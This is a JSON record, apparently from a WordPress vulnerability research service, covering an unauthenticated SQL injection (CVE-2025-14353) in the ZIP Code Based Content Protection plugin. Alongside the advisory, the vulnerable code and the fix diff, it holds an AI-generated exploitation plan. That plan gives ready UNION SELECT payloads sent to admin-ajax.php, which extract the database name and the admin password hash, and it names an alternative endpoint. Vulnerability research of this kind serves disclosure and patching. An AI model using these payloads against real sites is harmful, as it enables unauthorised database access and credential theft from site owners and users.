[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flNDiTLP783KIluoFj81SHbppzYiKRMO6ph0CunGh_8g":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2025-14353","zip-code-based-content-protection-unauthenticated-sql-injection-via-zipcode-parameter","ZIP Code Based Content Protection \u003C= 1.0.2 - Unauthenticated SQL Injection via 'zipcode' Parameter","The ZIP Code Based Content Protection plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 via the 'zipcode' parameter. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","zip-code-based-content-protection",null,"\u003C=1.0.2","1.0.3","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-06 11:52:34","2026-03-07 01:21:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F8aeaba0e-0a23-48f6-aa42-7f2f3bd741f1?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","admin\u002Fclass-zipcode-bcp-admin.php","admin\u002Fjs\u002Fzipcode-bcp-admin.js","admin\u002Flists\u002Fclass-zipcode-bcp-admin-requested-zipcodes.php","admin\u002Flists\u002Fclass-zipcode-bcp-admin-user-requested-zipcodes.php","admin\u002Flists\u002Fclass-zipcode-bcp-admin-zipcodes-list.php","admin\u002Fmetas\u002Fclass-zipcode-bcp-admin-post-page-meta.php","admin\u002Fsettings\u002Fclass-zipcode-bcp-admin-settings.php","researched",false,3,"This research plan focuses on exploiting a SQL injection vulnerability in the **ZIP Code Based Content Protection** plugin for WordPress.\n\n## 1. Vulnerability Summary\nThe vulnerability is an unauthenticated SQL injection in the `zip_code` parameter handled by the `Zipcode_BCP_Admin` class. The flaw exists in multiple AJAX handlers (`export_registered_users_in_zipcode`, `preview_registered_users_in_zipcode`, and `view_posts_registered_users_in_zipcode`). \n\nThe code uses `sanitize_text_field()` on the input, which does not escape single quotes, and then interpolates the variable directly into a query string. Critically, it then calls `$wpdb->prepare()` on the *already-interpolated* query string while passing an empty string as the second argument. This fails to provide any parameterization for the user input, allowing an attacker to break out of the string literal and append arbitrary SQL.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `export_registered_users_in_zipcode` (and variants)\n- **HTTP Parameter**: `zip_code` (via `$_REQUEST`)\n- **Authentication**: Unauthenticated (as per CVE description; the plugin hooks these actions to `wp_ajax_nopriv_*` to allow unauthenticated users to export\u002Fpreview data if they have requested zip codes).\n- **Vulnerability Type**: UNION-Based SQL Injection.\n\n## 3. Code Flow\n1.  **Entry Point**: A `POST` request is sent to `admin-ajax.php` with `action=export_registered_users_in_zipcode`.\n2.  **Dispatch**: WordPress triggers the hook `wp_ajax_nopriv_export_registered_users_in_zipcode`, which calls `Zipcode_BCP_Admin::zbcp_export_registered_users_in_zipcode()`.\n3.  **Vulnerable Function** (`admin\u002Fclass-zipcode-bcp-admin.php`):\n    -   `$zipcode = sanitize_text_field( $_REQUEST['zip_code'] );` (Input is retrieved but not SQL-escaped).\n    -   `$pt_query = \"SELECT * FROM $table WHERE zipcode = '$zipcode'\";` (Input interpolated into query).\n4.  **SQL Sink**: \n    -   `$users = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );`\n    -   The `prepare` call does nothing because the query is already built and the argument is empty.\n5.  **Output**: The results are iterated, and the `user_email` field is echoed:\n    ```php\n    echo \"email\\n\";\n    foreach ( $users as $user ) :\n        echo esc_attr($user['user_email']) . \"\\n\";\n    endforeach;\n    ```\n\n## 4. Nonce Acquisition Strategy\nBased on the analysis of `admin\u002Fjs\u002Fzipcode-bcp-admin.js` and `admin\u002Fclass-zipcode-bcp-admin.php`:\n- **No Nonce Required**: The AJAX requests in `zipcode-bcp-admin.js` for these specific actions (`export_registered_users_in_zipcode`, etc.) do not include any security tokens or nonces in the `data` object.\n- **Missing Server-Side Check**: The PHP handlers in `class-zipcode-bcp-admin.php` do not call `check_ajax_referer()` or `wp_verify_nonce()`.\n\nTherefore, the exploit can be executed directly without any prior nonce acquisition.\n\n## 5. Exploitation Strategy\nWe will use a UNION SELECT payload to extract the database name and the admin user's password hash.\n\n### Step 1: Identify Column Count\nThe table `{$wpdb->prefix}zipcode_requested_users` contains 6 columns (verified from `admin\u002Flists\u002Fclass-zipcode-bcp-admin-user-requested-zipcodes.php`):\n1. `id`\n2. `zipcode`\n3. `user_email` (Reflected in `export_registered_users_in_zipcode`)\n4. `post_id`\n5. `post_type`\n6. `post_title`\n\n### Step 2: Extract Data via `export_registered_users_in_zipcode`\nWe will target the 3rd column (`user_email`) because it is enqueued in the output loop.\n\n**HTTP Request:**\n- **URL**: `{{target_url}}\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: \n  ```text\n  action=export_registered_users_in_zipcode&zip_code=1' UNION SELECT 1,2,CONCAT(0x5b53514c495d,DATABASE(),0x3a,user_login,0x3a,user_pass,0x5b53514c495d),4,5,6 FROM wp_users-- -\n  ```\n  *(Note: `0x5b53514c495d` is the hex for `[SQLI]` to make parsing easy).*\n\n## 6. Test Data Setup\n1.  **Plugin Activation**: Ensure the plugin \"ZIP Code Based Content Protection\" is installed and activated.\n2.  **Table Creation**: The plugin must have created its tables. This usually happens on activation.\n3.  **Administrator**: Ensure at least one administrator exists in `wp_users` (standard for any WP install).\n\n## 7. Expected Results\nThe response should be a text\u002Fcsv-like output:\n```text\nemail\n[SQLI]wordpress_db:admin:$P$B...[SQLI]\n```\nThe presence of the database name and hash confirms successful extraction.\n\n## 8. Verification Steps\n1.  **Database Check**: Use `wp db query \"SELECT user_pass FROM wp_users WHERE user_login='admin'\"` via WP-CLI to compare the hash retrieved via the exploit.\n2.  **Table Check**: Verify the table exists: `wp db query \"SHOW TABLES LIKE '%zipcode_requested_users%'\"`.\n\n## 9. Alternative Approaches\nIf `export_registered_users_in_zipcode` fails to produce output due to character encoding in the CSV flow, use the JSON-based endpoint:\n\n**Alternative Action**: `preview_registered_users_in_zipcode`\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body**: `action=preview_registered_users_in_zipcode&zip_code=1' UNION SELECT 1,2,DATABASE(),4,5,6-- -`\n- **Response**: A JSON object where `result` contains the extracted data inside `\u003Cp>` tags:\n  ```json\n  {\"status\":true,\"result\":\"\u003Cp>database_name\u003C\\\u002Fp>\\n\"}\n  ```\n\nIf `sanitize_text_field` interferes with complex payloads (like subqueries), use hex encoding for strings to avoid quotes entirely.","The ZIP Code Based Content Protection plugin for WordPress is vulnerable to unauthenticated UNION-based SQL injection via the 'zip_code' parameter in several AJAX actions. This occurs because user input is interpolated directly into SQL query strings before being passed to a non-functional $wpdb->prepare() call, allowing attackers to extract sensitive data from the database.","\u002F\u002F admin\u002Fclass-zipcode-bcp-admin.php:118\npublic function zbcp_export_registered_users_in_zipcode() {\n    if ( ! empty( $_REQUEST['zip_code'] ) ) {\n\n        global $wpdb;\n        $table   = $wpdb->get_blog_prefix() . 'zipcode_requested_users';\n        $zipcode = sanitize_text_field( $_REQUEST['zip_code'] );\n\n        $pt_query = \"SELECT * FROM $table WHERE zipcode = '$zipcode'\";\n        $users    = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );\n\n---\n\n\u002F\u002F admin\u002Fclass-zipcode-bcp-admin.php:133\nfunction zbcp_preview_registered_users_in_zipcode() {\n    if ( ! empty( $_REQUEST['zip_code'] ) ) {\n        global $wpdb;\n        $table   = $wpdb->get_blog_prefix() . 'zipcode_requested_users';\n        $zipcode = sanitize_text_field( $_REQUEST['zip_code'] );\n\n        $pt_query = \"SELECT * FROM $table WHERE zipcode = '$zipcode'\";\n        $users    = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fzip-code-based-content-protection\u002F1.0.1\u002Fadmin\u002Fclass-zipcode-bcp-admin.php\t2025-09-09 12:59:12.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fzip-code-based-content-protection\u002F1.0.3\u002Fadmin\u002Fclass-zipcode-bcp-admin.php\t2026-02-19 10:41:48.000000000 +0000\n@@ -113,29 +88,56 @@\n \t\tif ( ! empty( $_REQUEST['zip_code'] ) ) {\n \n \t\t\tglobal $wpdb;\n-\t\t\t$table   = $wpdb->get_blog_prefix() . 'zipcode_requested_users';\n-\t\t\t$zipcode = sanitize_text_field( $_REQUEST['zip_code'] );\n+\t\t\t$table = $wpdb->prefix . 'zipcode_requested_users';\n+\n+\t\t\t\u002F\u002F Get and sanitize ZIP code.\n+\t\t\t$zipcode = sanitize_text_field( wp_unslash( $_REQUEST['zip_code'] ) );\n \n-\t\t\t$pt_query = \"SELECT * FROM $table WHERE zipcode = '$zipcode'\";\n-\t\t\t$users    = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );\n+\t\t\tif ( empty( $zipcode ) ) {\n+\t\t\t\texit();\n+\t\t\t}\n \n+\t\t\t\u002F\u002F Prepare query safely.\n+\t\t\t$query = $wpdb->prepare(\n+\t\t\t\t\"SELECT user_email FROM {$table} WHERE zipcode = %s\",\n+\t\t\t\t$zipcode\n+\t\t\t);\n+\n+\t\t\t\u002F\u002F Fetch results.\n+\t\t\t$users = $wpdb->get_results( $query, ARRAY_A );","The exploit targets unauthenticated AJAX handlers like 'export_registered_users_in_zipcode' or 'preview_registered_users_in_zipcode'. An attacker sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to one of the vulnerable hooks and a 'zip_code' parameter containing a SQL payload. Because sanitize_text_field() does not escape single quotes and the query string is pre-interpolated before being passed to $wpdb->prepare() with an empty argument, an attacker can use a UNION SELECT statement to jump out of the 'zipcode' string literal. By determining the column count of the target table, the attacker can reflect results (such as admin password hashes or the database name) directly into the response, which is returned either as plain text\u002FCSV or JSON depending on the action hit.","gemini-3-flash-preview","2026-04-18 05:35:36","2026-04-18 05:36:02",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.0.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fzip-code-based-content-protection\u002Ftags\u002F1.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fzip-code-based-content-protection.1.0.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fzip-code-based-content-protection\u002Ftags\u002F1.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fzip-code-based-content-protection.1.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fzip-code-based-content-protection\u002Ftags"]